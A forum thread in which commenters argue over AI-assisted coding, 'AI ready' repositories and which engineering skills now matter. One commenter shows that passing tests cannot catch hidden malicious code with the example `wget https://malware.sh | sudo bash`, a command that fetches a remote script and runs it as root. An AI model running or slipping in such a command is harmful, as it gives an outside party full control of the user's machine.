[SilenN]

Agree. And with the comments in the thread.

I'll caveat my statement, with AI ready repos. Meaning those with good documentation, good comments (ex. avoiding Chestertons fence), comprehensive interface tests, Sentry, CI/CD, etc.

Established repos are harder because a) the marginal cost of something going wrong is much higher b) there's more dependencies c) this makes it harder to 'comprehensively' ensure the AI didn't mess anything up

I say this in the article

> There's no "right answer." The only way to create your best system is to create it yourself by being in the loop. Best is biased by taste and experience. Experiment, iterate, and discover what works for you.

Try pushing the boundary. It's like figuring out the minimum amount of sleep you need. You undersleep and oversleep a couple times, but you end up with a good idea.

To be clear, I'm not advocating for canonical 'vibe coding'. Just that what it means to be a good engineer has changed again. 1) Being able to quickly create a mental map of code at the speed of changes, 2) debugging and refactoring 3) prompting, 4) and ensuring everything works (verifiability) are now the most valuable skills.

We should also focus more on the derivative than our point in time.

[creshal]

> Just that what it means to be a good engineer has changed again.

And not even by much, 1/2/4 have always been signs of good engineers.

[worksonmine]

> Being able to quickly create a mental map of code at the speed of changes

I get the feeling you're intentionally being a parody with that line.

> and ensuring everything works (verifiability) are now the most valuable skills.

Something might look like it works, and pass all the tests, but it could still be running `wget https://malware.sh | sudo bash`. Without knowing that it's there how will your tests catch it?

My example is exaggerated and in the real world it will be more subtle and less nefarious, but just as dangerous. This has already happened, OpenCode is a recent such example. It was on the front page a few days ago, you should check it out. Of course you have to review the code. Who are you trying to fool?

> We should also focus more on the derivative than our point in time.

So why are you selling it as possible in "our point in time" (are you getting paid per buzzword?). I read the quote as "Yes, I'm full of shit, but consider the possibilities and stop being a buzzkill bro".

Extremely depressing to see this happening to the craft I used to love.

[SilenN]

I think you read my comment, but you didn't really READ it.